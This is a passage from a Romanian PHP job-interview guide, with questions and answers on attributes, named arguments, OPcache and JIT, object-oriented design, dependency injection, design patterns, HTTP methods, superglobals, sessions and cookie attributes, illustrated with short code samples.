    public function __construct(public string $cale, public string $metoda = 'GET') {}
}

final class ProdusController
{
    #[Ruta('/produse', metoda: 'GET')]
    public function lista(): array { return []; }
}

$m = new ReflectionMethod(ProdusController::class, 'lista');
foreach ($m->getAttributes(Ruta::class) as $attr) {
    $ruta = $attr->newInstance();
    echo $ruta->metoda . ' ' . $ruta->cale; // GET /produse
}

Atributele nu fac nimic de unele singure: sunt doar date. Un framework scanează clasele (de obicei o dată, apoi pune rezultatul în cache) și construiește din ele tabelul de rute, regulile de validare sau maparea pe tabele.

Exemple reale: Symfony folosește #[Route], Doctrine #[ORM\Entity] și #[ORM\Column], PHPUnit 10+ #[Test] și #[DataProvider]. PHP are și atribute proprii: #[SensitiveParameter] (8.2) ascunde valoarea unui parametru din stack trace, util pentru parole, iar #[Override] (8.3) verifică faptul că metoda chiar suprascrie una din părinte.

Ce urmărește intervievatorul: Se urmărește dacă înțelegi mecanismul, nu doar sintaxa. Mulți candidați cred că atributele execută cod automat.

21 Mid

Ce avantaje și ce capcane au named arguments?

Răspuns scurt: Named arguments fac apelurile mai lizibile și permit sărirea parametrilor opționali. Capcana principală este că numele parametrilor devin parte din API-ul public, deci redenumirea lor strică codul apelanților.

Din PHP 8.0 poți transmite argumentele după numele parametrului, nu doar după poziție.

PHP
// fără named arguments, trebuie să repeți valorile implicite
htmlspecialchars($text, ENT_QUOTES | ENT_HTML5, 'UTF-8', false);

// cu named arguments, specifici doar ce te interesează
htmlspecialchars($text, double_encode: false);

function creeazaUtilizator(string $email, bool $admin = false, bool $activ = true) {}
creeazaUtilizator('ana@exemplu.ro', activ: false);

Avantaje:

  • lizibilitate: un apel ca trimite($mesaj, true, false) nu spune nimic, pe când trimite($mesaj, urgent: true, copie: false) se explică singur
  • poți sări parametri opționali din mijlocul listei
  • se combină bine cu constructor property promotion pentru obiecte cu multe opțiuni

Capcane:

  • numele parametrilor devin contract public. Dacă o bibliotecă redenumește $haystack în $text, apelurile cu nume se strică, chiar dacă semnătura pozițională e aceeași. De aceea autorii de biblioteci tratează redenumirea ca schimbare incompatibilă.
  • la moștenire, dacă o clasă copil redenumește un parametru, un apel cu numele vechi aruncă eroare când se folosește clasa copil
  • nu poți pune un argument pozițional după unul cu nume
  • cu spread (...$args) și chei de tip șir, cheile sunt tratate ca nume de parametri (PHP 8.1)

Un semnal că ai nevoie de multe named arguments poate fi și că funcția are prea mulți parametri și merită un obiect de configurare.

Ce urmărește intervievatorul: Verifică dacă gândești la compatibilitatea API-urilor, nu doar la comoditate. Puțini candidați menționează problema redenumirii.

22 Senior

Ce sunt OPcache și JIT în PHP și când îmbunătățește JIT-ul performanța unei aplicații web?

Răspuns scurt: OPcache păstrează în memorie codul PHP deja compilat (opcodes), evitând recompilarea la fiecare cerere. JIT, din PHP 8.0, compilează opcodes în cod mașină, dar ajută mai ales la calcule intense, puțin la aplicații web tipice.

La fiecare cerere, fără cache, PHP citește fișierele, le parsează și le compilează în opcodes, apoi le execută. OPcache stochează opcodes în memorie partajată, așa că pașii de parsare și compilare se fac o singură dată. Pentru o aplicație Laravel sau WordPress, OPcache este practic obligatoriu în producție și dă cel mai mare câștig de performanță pentru cel mai mic efort.

Setări relevante în php.ini:

opcache.enable=1
opcache.memory_consumption=256
opcache.max_accelerated_files=20000
opcache.validate_timestamps=0   ; în producție, cu reset la deploy
opcache.jit_buffer_size=64M

Cu validate_timestamps=0, PHP nu mai verifică dacă fișierele s-au schimbat, deci la fiecare deploy trebuie să golești cache-ul (repornire PHP-FPM sau opcache_reset()).

JIT transformă bucăți de opcodes executate des în cod mașină nativ. Beneficiul apare în cod dominat de CPU: calcule matematice, procesare de imagini, algoritmi. O aplicație web tipică își petrece însă cea mai mare parte a timpului așteptând baza de date, rețeaua sau disk-ul, unde JIT nu are ce accelera. De aceea, pentru un site obișnuit, câștigul JIT este de obicei mic, iar decizia trebuie luată după măsurători.

Mai există preloading (PHP 7.4, opcache.preload), care încarcă un set de clase la pornirea serverului, util pentru framework-uri mari. Ordinea corectă de optimizare rămâne: măsori cu un profiler (Xdebug, Blackfire), repari query-urile și cache-ul aplicației, abia apoi ajustezi motorul.

Ce urmărește intervievatorul: Verifică dacă ai intuiție corectă despre performanță. Greșeala tipică este să crezi că JIT accelerează automat orice site.

OOP în PHP

23 Junior

Care este diferența dintre o clasă și un obiect în PHP? Ce rol au constructorul și $this?

Răspuns scurt: Clasa este șablonul care definește proprietăți și metode, iar obiectul este o instanță concretă creată cu new. Constructorul __construct inițializează obiectul, iar $this se referă la instanța curentă în interiorul metodelor.

O clasă descrie ce date are un tip de entitate și ce poate face. Un obiect este o copie concretă, cu propriile valori. Poți avea o clasă Produs și mii de obiecte Produs, fiecare cu alt nume și alt preț.

PHP
class Produs
{
    private float $pret;

    public function __construct(private string $nume, float $pret)
    {
        $this->setPret($pret);
    }

    public function setPret(float $pret): void
    {
        if ($pret <= 0) {
            throw new InvalidArgumentException('Preț invalid');
        }
        $this->pret = $pret;
    }

    public function pretCuTva(float $cota = 0.19): float
    {
        return round($this->pret * (1 + $cota), 2);
    }
}

$mouse = new Produs('Mouse', 50);
echo $mouse->pretCuTva(); // 59.5

Constructorul este metoda magică __construct, apelată automat la new. Rolul lui este să aducă obiectul într-o stare validă de la început: un Produs nu ar trebui să existe fără preț. $this este o referință la obiectul pe care s-a apelat metoda; prin el accesezi proprietățile ($this->pret) și alte metode.

Mai sunt utile: instanceof pentru verificarea tipului, ::class pentru numele complet al clasei și __destruct, apelat când obiectul nu mai e folosit (rar necesar în aplicații web, pentru că memoria se eliberează la finalul cererii).

Ce urmărește intervievatorul: Este o întrebare de bază care verifică vocabularul OOP. Un răspuns bun explică și de ce constructorul trebuie să valideze starea.

24 Junior

Explică modificatorii de vizibilitate public, protected și private.

Răspuns scurt: public e accesibil de oriunde, protected doar din clasa respectivă și din clasele care o moștenesc, iar private doar din clasa care l-a declarat. Ajută la încapsulare: ascunzi detaliile interne.

Vizibilitatea controlează cine poate accesa o proprietate, o metodă sau o constantă de clasă.

  • public: accesibil din orice cod care are o referință la obiect.
  • protected: accesibil în clasa care îl declară și în clasele copil, dar nu din exterior.
  • private: accesibil doar în clasa care îl declară; clasele copil nu îl văd.
PHP
class ContBancar
{
    private int $sold = 0;
    protected string $moneda = 'RON';

    public function depune(int $suma): void
    {
        if ($suma <= 0) {
            throw new InvalidArgumentException('Suma trebuie să fie pozitivă');
        }
        $this->sold += $suma;
    }

    public function sold(): int { return $this->sold; }
}

$c = new ContBancar();
$c->depune(100);
$c->sold = 1000000; // Error: Cannot access private property

De ce contează: dacă $sold ar fi public, orice cod ar putea pune o valoare negativă și regula din depune() ar fi ocolită. Prin încapsulare, obiectul își protejează singur invarianții (regulile care trebuie să fie mereu adevărate).

Regula practică: începe cu private și deschide doar ce trebuie. protected creează un contract cu clasele copil, deci e tot o formă de API public pentru cine extinde clasa. Vizibilitatea se aplică la nivel de clasă, nu de obiect: o metodă poate accesa proprietățile private ale altei instanțe din aceeași clasă. Din PHP 8.4 există și vizibilitate asimetrică, de exemplu public private(set).

Ce urmărește intervievatorul: Verifică înțelegerea încapsulării. Candidații care fac totul public arată că nu au gândit încă în termeni de invarianți.

25 Junior

Care este diferența dintre o clasă abstractă și o interfață în PHP?

Răspuns scurt: O interfață definește doar un contract (semnături de metode și constante), iar o clasă o poate implementa pe mai multe. O clasă abstractă poate avea și cod comun și stare, dar o clasă poate extinde una singură.

Ambele nu pot fi instanțiate direct și servesc la definirea unui comportament comun, dar au scopuri diferite.

O interfață spune „ce poate face” un obiect, fără să spună cum. Nu are proprietăți (până la PHP 8.4, care permite proprietăți declarate în interfețe prin property hooks) și nici cod în metode. O clasă poate implementa oricâte interfețe.

O clasă abstractă este o clasă parțial implementată: poate avea proprietăți, metode complete și metode abstract pe care copiii trebuie să le implementeze. PHP permite moștenire simplă, deci o clasă extinde o singură clasă abstractă.

PHP
interface Notificator
{
    public function trimite(string $catre, string $mesaj): void;
}

abstract class NotificatorDeBaza implements Notificator
{
    public function __construct(protected LoggerInterface $log) {}

    public function trimite(string $catre, string $mesaj): void
    {
        $this->log->info("Trimit către $catre");
        $this->livreaza($catre, $mesaj);
    }

    abstract protected function livreaza(string $catre, string $mesaj): void;
}

final class NotificatorEmail extends NotificatorDeBaza
{
    protected function livreaza(string $catre, string $mesaj): void { /* mail */ }
}

Când alegi ce: codul care folosește dependența ar trebui să depindă de interfață (Notificator), ca să poți schimba implementarea sau să o înlocuiești cu un mock în teste. Clasa abstractă este un instrument de reutilizare a codului între implementări înrudite. Dacă ai doar cod comun și nu ai nevoie de ierarhie, de multe ori compoziția sau un trait sunt mai flexibile.

Ce urmărește intervievatorul: O întrebare clasică OOP. Intervievatorul urmărește să explici când alegi fiecare, nu doar diferențele sintactice.

26 Junior

Cum funcționează moștenirea în PHP? Ce fac parent:: și cuvântul final?

Răspuns scurt: O clasă extinde alta cu extends și preia proprietățile și metodele ei neprivate, pe care le poate suprascrie. parent::metoda() apelează versiunea din părinte, iar final interzice extinderea clasei sau suprascrierea metodei.

Moștenirea exprimă o relație „este un”: un Administrator este un Utilizator. Clasa copil primește membrii public și protected ai părintelui și poate adăuga sau suprascrie metode.

PHP
class Utilizator
{
    public function __construct(protected string $email) {}

    public function permisiuni(): array
    {
        return ['citire'];
    }
}

class Administrator extends Utilizator
{
    public function __construct(string $email, private string $departament)
    {
        parent::__construct($email);
    }

    public function permisiuni(): array
    {
        return [...parent::permisiuni(), 'scriere', 'stergere'];
    }
}

final class Plata { /* nu poate fi extinsă */ }

Reguli de reținut:

  • dacă copilul are constructor propriu, constructorul părintelui nu se apelează automat; trebuie parent::__construct()
  • la suprascriere, semnătura trebuie să fie compatibilă (principiul Liskov): parametrii pot fi mai permisivi, tipul returnat mai specific, iar vizibilitatea nu poate fi redusă
  • final pe o clasă interzice moștenirea, pe o metodă interzice suprascrierea

Multe echipe marchează implicit clasele final și le deschid doar când există un motiv. Moștenirea creează cuplare puternică: o schimbare în părinte afectează toți copiii. De aceea sfatul des întâlnit este să preferi compoziția (obiectul primește colaboratori) și să folosești moștenirea doar pentru relații „este un” stabile.

Ce urmărește intervievatorul: Se verifică mecanica moștenirii și maturitatea de design. Un plus este să menționezi „composition over inheritance”.

27 Junior

Ce sunt traits în PHP și când le folosești?

Răspuns scurt: Un trait este un set de metode și proprietăți pe care îl poți „lipi” în mai multe clase cu use, ca să reutilizezi cod fără moștenire. E util pentru comportament transversal, dar folosit excesiv ascunde dependențe.

PHP are moștenire simplă: o clasă poate extinde o singură clasă. Traits, introduse în PHP 5.4, oferă reutilizare orizontală: codul din trait este copiat la compilare în clasa care îl folosește.

PHP
trait AreTimestampuri
{
    private ?DateTimeImmutable $creatLa = null;

    public function marcheazaCreat(): void
    {
        $this->creatLa = new DateTimeImmutable();
    }

    public function creatLa(): ?DateTimeImmutable
    {
        return $this->creatLa;
    }
}

final class Articol
{
    use AreTimestampuri;
}

final class Comentariu
{
    use AreTimestampuri;
}

Detalii utile:

  • dacă două traits au metode cu același nume, rezolvi conflictul cu insteadof și as
  • un trait poate declara metode abstract, pe care clasa trebuie să le implementeze, și metode static
  • ordinea de prioritate: metodele clasei suprascriu pe cele din trait, iar cele din trait suprascriu pe cele moștenite
  • din PHP 8.2, traits pot avea și constante

Exemple reale: în Laravel, HasFactory, SoftDeletes sau Notifiable sunt traits adăugate pe modele. Când nu sunt potrivite: dacă trait-ul are nevoie de multe dependențe ale clasei sau conține logică de business importantă, devine greu de testat și de urmărit. Un trait nu este un tip, deci nu poți scrie function f(AreTimestampuri $x). Pentru contracte folosești interfețe, iar pentru logică reutilizabilă complexă, un serviciu injectat.

Ce urmărește intervievatorul: Testează dacă știi alternativa la moștenirea multiplă și limitele ei. Candidații nu menționează des că un trait nu este un tip.

28 Junior

Ce sunt namespace-urile în PHP și cum se leagă de autoloading?

Răspuns scurt: Namespace-urile grupează clasele sub un prefix, ca App\Service\Plata, ca să eviți coliziunile de nume. Standardul PSR-4 leagă namespace-ul de structura de directoare, iar autoloader-ul Composer încarcă automat fișierul clasei.

Fără namespace-uri, două biblioteci care definesc o clasă Logger intră în conflict. Un namespace adaugă un prefix logic numelui clasei.

PHP
// src/Service/Plata.php
namespace App\Service;

use App\Model\Comanda;
use Psr\Log\LoggerInterface as Log;

final class Plata
{
    public function __construct(private Log $log) {}

    public function proceseaza(Comanda $c): void
    {
        $data = new \DateTimeImmutable(); // clasă globală, cu backslash
    }
}

use doar creează un alias pentru numele lung; nu încarcă nimic. Numele complet al clasei este App\Service\Plata, pe care îl obții și cu Plata::class. Clasele globale ale PHP (DateTimeImmutable, PDO) se scriu cu \ în față sau se importă cu use, altfel PHP le caută în namespace-ul curent.

Autoloading-ul înseamnă că PHP apelează o funcție înregistrată cu spl_autoload_register când întâlnește o clasă necunoscută. Composer generează o astfel de funcție după regulile din composer.json:

JSON
"autoload": { "psr-4": { "App\\": "src/" } }

Conform PSR-4, App\Service\Plata se găsește în src/Service/Plata.php. Numele fișierului și al directoarelor trebuie să corespundă exact, inclusiv literele mari, pentru că pe Linux sistemul de fișiere face diferența. Aceasta este o sursă frecventă de erori „Class not found” care apar doar pe server, nu pe un Mac sau Windows.

Ce urmărește intervievatorul: Verifică dacă înțelegi cum e organizat un proiect PHP modern. Problema cu literele mari pe Linux este un detaliu care impresionează.

29 Mid

Ce este late static binding? Care este diferența dintre self:: și static::?

Răspuns scurt: self:: se referă mereu la clasa în care e scris codul, iar static:: la clasa pe care s-a făcut efectiv apelul, chiar dacă metoda e moștenită. Acesta e late static binding, disponibil din PHP 5.3.

Când o metodă statică este definită într-o clasă părinte și apelată prin clasa copil, self rămâne legat de părinte, pentru că este rezolvat la compilare, în funcție de locul în care e scris. static este rezolvat la execuție și indică clasa apelată.

PHP
class Model
{
    public static function creeaza(): static
    {
        return new static();
    }

    public static function numeSelf(): string { return self::class; }
    public static function numeStatic(): string { return static::class; }
}

class Produs extends Model {}

echo Produs::numeSelf();   // Model
echo Produs::numeStatic(); // Produs
var_dump(Produs::creeaza() instanceof Produs); // true

Dacă creeaza() ar folosi new self(), apelul Produs::creeaza() ar întoarce un Model, nu un Produs, ceea ce de obicei e un bug.

Unde apare în practică:

  • metode fabrică în clase de bază, cum sunt Model::create() sau Model::query() din Eloquent
  • tipul returnat static (PHP 8.0) pentru metode fluente care returnează $this sau o copie, ca obiectele derivate să păstreze tipul corect
  • accesarea constantelor sau proprietăților statice redefinite în copil: static::TABEL

Pe lângă self și static, mai există parent:: pentru clasa părinte. Regula practică: folosește static când vrei ca o clasă copil să poată înlocui comportamentul și self când vrei explicit clasa curentă, de exemplu în clase final.

Ce urmărește intervievatorul: Se verifică o înțelegere mai fină a OOP din PHP, folosită intens de framework-uri. Mulți mid nu pot da un exemplu de bug cu new self().

30 Mid

Ce sunt metodele magice în PHP? Dă exemple de __get, __call, __toString și __invoke.

Răspuns scurt: Metodele magice sunt metode cu nume rezervate, prefixate cu __, pe care PHP le apelează automat în anumite situații: acces la proprietăți inexistente, apel de metode inexistente, conversie în șir sau apel al obiectului ca funcție.

Cele mai întâlnite:

  • __construct, __destruct: creare și distrugere
  • __get($nume), __set($nume, $val), __isset, __unset: acces la proprietăți inaccesibile sau inexistente
  • __call($nume, $args) și __callStatic: apel de metode inexistente
  • __toString(): când obiectul e folosit ca șir
  • __invoke(): când obiectul e apelat ca o funcție
  • __clone, __serialize, __unserialize: copiere și serializare
PHP
final class Config
{
    public function __construct(private array $date) {}

    public function __get(string $cheie): mixed
    {
        return $this->date[$cheie] ?? null;
    }

    public function __call(string $metoda, array $args): mixed
    {
        if (str_starts_with($metoda, 'get')) {
            return $this->date[lcfirst(substr($metoda, 3))] ?? null;
        }
        throw new BadMethodCallException("Metoda $metoda nu există");
    }

    public function __toString(): string
    {
        return json_encode($this->date);
    }
}

$c = new Config(['host' => 'localhost']);
echo $c->host;      // localhost
echo $c->getHost(); // localhost
echo $c;            // {"host":"localhost"}

__invoke e folosit pentru clase cu o singură responsabilitate, de exemplu un controller invocabil în Laravel sau un handler de comenzi. Eloquent folosește __get pentru atributele modelului și __call pentru a delega către query builder.

Partea negativă: metodele magice ascund API-ul real. IDE-ul și analiza statică nu știu ce proprietăți există, iar greșelile de scriere nu mai dau erori. Folosește-le cu măsură și documentează-le cu @property și @method în DocBlock.

Ce urmărește intervievatorul: Verifică dacă înțelegi „magia” din framework-uri. Un răspuns matur menționează și dezavantajele pentru lizibilitate și unelte.

31 Mid

Explică principiile SOLID cu exemple din PHP.

Răspuns scurt: SOLID înseamnă Single responsibility, Open/closed, Liskov substitution, Interface segregation și Dependency inversion: cinci principii care fac clasele mai ușor de modificat și de testat, cu cuplare mică între ele.

Pe scurt, cu un exemplu din fiecare:

  • Single responsibility: o clasă are un singur motiv să se schimbe. Un ComandaController care validează, calculează prețul, salvează în baza de date și trimite email încalcă principiul; separi în CalculatorPret, ComandaRepository, NotificatorComanda.
  • Open/closed: deschis la extindere, închis la modificare. În loc de un switch pe tipul de plată, care trebuie editat la fiecare metodă nouă, definești o interfață MetodaPlata și adaugi clase noi.
  • Liskov substitution: o clasă copil trebuie să poată înlocui părintele fără surprize. Dacă Patrat extends Dreptunghi și setarea lățimii schimbă și înălțimea, codul care lucrează cu dreptunghiuri se strică.
  • Interface segregation: mai multe interfețe mici sunt mai bune decât una mare. O clasă care doar citește nu ar trebui obligată să implementeze sterge().
  • Dependency inversion: codul de nivel înalt depinde de abstracții, nu de implementări concrete.
PHP
interface MetodaPlata
{
    public function incaseaza(int $subunitati): string;
}

final class ServiciuComanda
{
    public function __construct(private MetodaPlata $plata) {}

    public function finalizeaza(Comanda $c): void
    {
        $idTranzactie = $this->plata->incaseaza($c->total());
        // ...
    }
}

ServiciuComanda nu știe dacă plata se face prin card, transfer sau un mock din teste, așa că respectă atât O, cât și D. La interviu, contează să arăți că aplici principiile cu judecată: un script de 50 de linii nu are nevoie de cinci interfețe.

Ce urmărește intervievatorul: Este o întrebare standard de mid. Intervievatorul vrea exemple concrete, nu definiții recitate.

32 Mid

Ce este dependency injection și ce rol are un container DI?

Răspuns scurt: Dependency injection înseamnă că un obiect primește colaboratorii din exterior (de obicei prin constructor), în loc să îi creeze singur. Containerul DI este componenta care construiește automat aceste obiecte și dependențele lor.

Fără DI, clasa își creează singură dependențele și devine cuplată de ele:

PHP
final class Raport
{
    public function genereaza(): array
    {
        $pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'parola');
        // imposibil de testat fără o bază reală, configurare scrisă în cod
    }
}

Cu DI prin constructor:

PHP
final class Raport
{
    public function __construct(
        private VanzariRepository $vanzari,
        private ClockInterface $ceas,
    ) {}

    public function genereaza(): array
    {
        return $this->vanzari->dinLuna($this->ceas->now());
    }
}

Acum, în teste, poți transmite un repository fals și un ceas fix, iar configurarea conexiunii stă într-un singur loc. Dependențele sunt vizibile în semnătura constructorului, deci un constructor cu zece parametri îți arată imediat că o clasă face prea mult.

Containerul DI rezolvă partea de „cablare”. Când ceri Raport, containerul citește prin Reflection tipurile parametrilor constructorului, construiește recursiv VanzariRepository și ClockInterface și le injectează. Pentru interfețe îi spui ce implementare să folosească (binding). Exemple: containerul Laravel, Symfony DependencyInjection, PHP-DI, toate compatibile cu interfața PSR-11.

Atenție la anti-tiparul Service Locator: dacă transmiți containerul în clase și apelezi $container->get(...) peste tot, dependențele devin din nou ascunse. Containerul ar trebui folosit doar la marginea aplicației, unde se construiesc controllerele.

Ce urmărește intervievatorul: Verifică dacă scrii cod testabil. O greșeală frecventă este confuzia dintre DI (tiparul) și container (unealta).

33 Senior

Ce design patterns folosești frecvent într-o aplicație PHP și când nu merită să le aplici?

Răspuns scurt: Cele mai utile sunt Repository, Strategy, Factory, Adapter, Decorator și Observer (evenimente). Le aplici când rezolvă o problemă reală de variație sau testare; altfel adaugă straturi inutile.

Câteva tipare care apar natural în aplicații web PHP:

  • Repository: ascunde accesul la date în spatele unei interfețe (ComandaRepository::cautaDupaClient()). Util când vrei să testezi logica fără bază de date sau să schimbi sursa datelor.
  • Strategy: familii de algoritmi interschimbabili, de exemplu calculul transportului pentru curieri diferiți.
  • Factory: centralizează crearea obiectelor complexe sau alegerea implementării la runtime.
  • Adapter: învelește un SDK extern (un procesator de plăți) într-o interfață proprie, ca aplicația să nu depindă direct de el.
  • Decorator: adaugă comportament fără să modifici clasa, de exemplu un repository cu cache peste cel real.
  • Observer / evenimente: ComandaPlasata declanșează email, factură și actualizare de stoc, decuplat.
PHP
final class ProdusRepositoryCuCache implements ProdusRepository
{
    public function __construct(
        private ProdusRepository $interior,
        private CacheInterface $cache,
    ) {}

    public function dupaId(int $id): ?Produs
    {
        return $this->cache->get("produs.$id", fn() => $this->interior->dupaId($id));
    }
}

Unde greșesc echipele: aplică tipare „pentru că așa e corect”. Un Repository peste Eloquent care doar repetă metodele modelului, o interfață cu o singură implementare care nu se va schimba niciodată, sau un Singleton global care face testarea grea. La nivel senior, criteriul este costul schimbării: introduci abstracția când există variație reală sau un punct clar de testare, și o elimini când doar complică citirea. Framework-urile aplică deja multe tipare (Laravel folosește Facade, Pipeline, Observer), deci e important să le recunoști.

Ce urmărește intervievatorul: La senior se verifică judecata, nu catalogul. Intervievatorul caută exemple din experiență și argumente despre când abstracția nu merită.

34 Senior

Ce sunt value objects și cum se compară obiectele în PHP cu ==, === și clone?

Răspuns scurt: Un value object este un obiect imutabil definit doar de valorile lui (de exemplu o sumă de bani sau un email). În PHP, == compară proprietățile, === verifică dacă e aceeași instanță, iar clone face o copie superficială.

Un value object nu are identitate proprie: două sume de 10 lei sunt egale indiferent de instanță. De aceea este imutabil și își validează datele la creare, ca o adresă de email invalidă să nu poată exista în sistem.

PHP
final class Email
{
    public readonly string $valoare;

    public function __construct(string $valoare)
    {
        $valoare = mb_strtolower(trim($valoare));
        if (!filter_var($valoare, FILTER_VALIDATE_EMAIL)) {
            throw new InvalidArgumentException('Email invalid');
        }
        $this->valoare = $valoare;
    }

    public function egal(self $alt): bool
    {
        return $this->valoare === $alt->valoare;
    }
}

$a = new Email('Ana@Exemplu.ro');
$b = new Email('ana@exemplu.ro');
var_dump($a == $b);   // true, aceeași clasă și aceleași proprietăți
var_dump($a === $b);  // false, instanțe diferite
var_dump($a->egal($b)); // true, egalitate explicită

Despre comparații: == pe obiecte verifică dacă au aceeași clasă și proprietăți egale (comparate slab, recursiv), iar === dacă cele două variabile indică exact aceeași instanță. Metoda explicită egal() este mai sigură, pentru că definește tu ce înseamnă egalitate.

clone creează o copie superficială: proprietățile care conțin alte obiecte rămân partajate. Dacă ai nevoie de copie profundă, implementezi __clone() și clonezi manual obiectele interne. De aceea în value objects se preferă DateTimeImmutable în loc de DateTime: cu un obiect imutabil, partajarea nu mai e periculoasă.

Avantajul la scară: logica de validare stă într-un singur loc, iar semnăturile devin expresive (trimite(Email $catre) în loc de string).

Ce urmărește intervievatorul: Testează gândirea în termeni de domeniu și cunoașterea semanticii obiectelor. Capcana clasică este copia superficială făcută de clone.

HTTP, sesiuni și formulare

35 Junior

Care este diferența dintre metodele HTTP GET și POST? Ce alte metode cunoști?

Răspuns scurt: GET cere o resursă și trimite parametrii în URL; trebuie să nu modifice date. POST trimite date în corpul cererii pentru a crea sau procesa ceva. Mai sunt PUT, PATCH, DELETE, HEAD și OPTIONS.

Metoda HTTP spune serverului ce intenție are cererea.

  • GET: citește o resursă. Parametrii sunt în query string (/produse?pagina=2), deci apar în istoric, în loguri și pot fi salvați ca bookmark. Este „safe” (nu modifică starea) și idempotent, iar browserele și proxy-urile o pot pune în cache.
  • POST: trimite date în corpul cererii, de exemplu un formular de comandă. Nu e idempotent: dacă îl repeți, poți crea două comenzi.
  • PUT: înlocuiește complet o resursă; idempotent.
  • PATCH: modifică parțial o resursă.
  • DELETE: șterge o resursă; idempotent.
  • HEAD: ca GET, dar fără corp, doar header-ele.
  • OPTIONS: întreabă ce metode sunt permise, folosită de browser la cererile CORS „preflight”.

În PHP, parametrii din URL ajung în $_GET, iar câmpurile unui formular trimis cu application/x-www-form-urlencoded sau multipart/form-data ajung în $_POST. Pentru un corp JSON citești manual:

PHP
$metoda = $_SERVER['REQUEST_METHOD'];
if ($metoda === 'POST') {
    $date = json_decode(file_get_contents('php://input'), true, flags: JSON_THROW_ON_ERROR);
}

Capcane frecvente: un link GET care șterge ceva (/sterge.php?id=5) poate fi declanșat de un crawler sau de o imagine pusă pe alt site. POST nu este „mai sigur” decât GET doar pentru că datele nu se văd în URL; fără HTTPS, ambele circulă în clar. Formularele HTML suportă doar GET și POST, motiv pentru care framework-urile simulează PUT și DELETE cu un câmp ascuns _method.

Ce urmărește intervievatorul: Verifică bazele web. Un răspuns bun menționează idempotența și de ce o acțiune care modifică date nu trebuie făcută prin GET.

36 Junior

Ce sunt superglobalele în PHP? Explică $_GET, $_POST, $_REQUEST, $_SERVER și $_FILES.

Răspuns scurt: Superglobalele sunt array-uri predefinite, accesibile din orice scope, pe care PHP le completează din cererea HTTP și din mediu: parametrii URL, câmpurile formularului, header-ele, fișierele încărcate, cookie-urile și sesiunea.

Principalele superglobale:

  • $_GET: parametrii din query string
  • $_POST: câmpurile formularului trimis cu POST (doar pentru tipurile de conținut form, nu JSON)
  • $_REQUEST: combinație de GET, POST și, în funcție de request_order, cookie-uri
  • $_SERVER: informații despre cerere și server, de exemplu REQUEST_METHOD, REQUEST_URI, HTTP_USER_AGENT, REMOTE_ADDR
  • $_FILES: fișierele încărcate
  • $_COOKIE, $_SESSION, $_ENV, $GLOBALS
PHP
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
if ($id === false || $id === null) {
    http_response_code(400);
    exit('ID invalid');
}
$metoda = $_SERVER['REQUEST_METHOD'] ?? 'GET';

Reguli de siguranță:

  • tot ce vine din $_GET, $_POST, $_COOKIE, $_FILES și din header-ele din $_SERVER (cele care încep cu HTTP_) este controlat de client, deci trebuie validat
  • evită $_REQUEST: nu știi din ce sursă vine valoarea, iar un cookie poate suprascrie un parametru
  • $_SERVER['REMOTE_ADDR'] este IP-ul conexiunii; în spatele unui proxy sau load balancer, IP-ul real vine în X-Forwarded-For, dar acel header poate fi falsificat dacă nu știi exact prin ce proxy-uri trece cererea
  • $_SERVER['PHP_SELF'] afișat direct într-un action de formular poate produce XSS

În framework-uri nu accesezi superglobalele direct, ci un obiect Request (de exemplu PSR-7 sau Illuminate\Http\Request), care e mai ușor de testat.

Ce urmărește intervievatorul: Se verifică dacă știi de unde vin datele într-un script PHP. Un junior bun subliniază că toate sunt input nesigur.

37 Junior

Cum funcționează sesiunile în PHP?

Răspuns scurt: La session_start(), PHP generează un ID de sesiune trimis browserului într-un cookie (PHPSESSID), iar datele din $_SESSION se salvează pe server. La cererile următoare, browserul trimite cookie-ul și PHP reîncarcă datele asociate.

HTTP este fără stare: serverul nu știe că două cereri vin de la același utilizator. Sesiunea rezolvă asta printr-un identificator aleator, păstrat în browser, și date păstrate pe server.

Pașii:

  • session_start() caută cookie-ul de sesiune. Dacă nu există, generează un ID nou și trimite header-ul Set-Cookie.
  • datele din $_SESSION sunt citite din stocare (implicit fișiere în session.save_path) și deserializate
  • la finalul scriptului, PHP serializează $_SESSION și îl scrie înapoi
PHP
session_start();

if (!isset($_SESSION['vizite'])) {
    $_SESSION['vizite'] = 0;
}
$_SESSION['vizite']++;

// la logout
$_SESSION = [];
session_destroy();
setcookie(session_name(), '', time() - 3600, '/');

Detalii care se întreabă:

  • session_start() trebuie apelat înainte de orice output, pentru că trimite header-e
  • handler-ul implicit pe fișiere blochează fișierul sesiunii pe durata cererii, deci două cereri AJAX simultane ale aceluiași utilizator se execută una după alta. Dacă doar citești sesiunea, session_write_close() eliberează blocarea mai devreme.
  • datele expiră după session.gc_maxlifetime secunde de inactivitate, printr-un proces de garbage collection probabilistic
  • stocarea se poate muta în Redis, Memcached sau baza de date prin session.save_handler sau SessionHandlerInterface

Nu pune în sesiune obiecte mari sau date pe care le poți recalcula; ține doar ID-ul utilizatorului și câteva preferințe.

Ce urmărește intervievatorul: Întrebare fundamentală pentru orice login. Se verifică dacă înțelegi că datele sunt pe server, iar în browser e doar ID-ul.

38 Junior

Care este diferența dintre cookies și sesiuni? Ce atribute ale unui cookie sunt importante?

Răspuns scurt: Un cookie stochează date în browser și e trimis la fiecare cerere; sesiunea stochează datele pe server, iar în browser rămâne doar ID-ul. Atribute importante: Expires/Max-Age, Path, Domain, Secure, HttpOnly și SameSite.

Cookie-urile sunt perechi nume-valoare pe care serverul le setează cu header-ul Set-Cookie, iar browserul le trimite înapoi la cererile către același site. Utilizatorul le poate citi și modifica, deci nu pui în ele date sensibile sau decizii de autorizare (de exemplu admin=1).

Sesiunea folosește la rândul ei un cookie, dar acesta conține doar un ID aleator; datele reale stau pe server.

Diferențele, pe scurt:

  • locul datelor: browser vs server
  • dimensiune: în jur de 4 KB per cookie vs limitat doar de server
  • încredere: modificabil de client vs controlat de server
  • durată: până la data expirării vs până la expirarea sesiunii
PHP
setcookie('tema', 'intunecata', [
    'expires'  => time() + 60 * 60 * 24 * 30,
    'path'     => '/',
    'secure'   => true,
    'httponly' => true,
    'samesite' => 'Lax',
]);
echo $_COOKIE['tema'] ?? 'luminoasa';

Atributele:

  • Secure: cookie-ul se trimite doar prin HTTPS
  • HttpOnly: JavaScript nu îl poate citi prin document.cookie, ceea ce limitează furtul de sesiune printr-un XSS
  • SameSite: Strict, Lax sau None controlează trimiterea la cereri venite de pe alte site-uri; e o protecție importantă împotriva CSRF. None cere obligatoriu Secure.
  • Expires/Max-Age: fără ele, cookie-ul e „de sesiune” și dispare la închiderea browserului

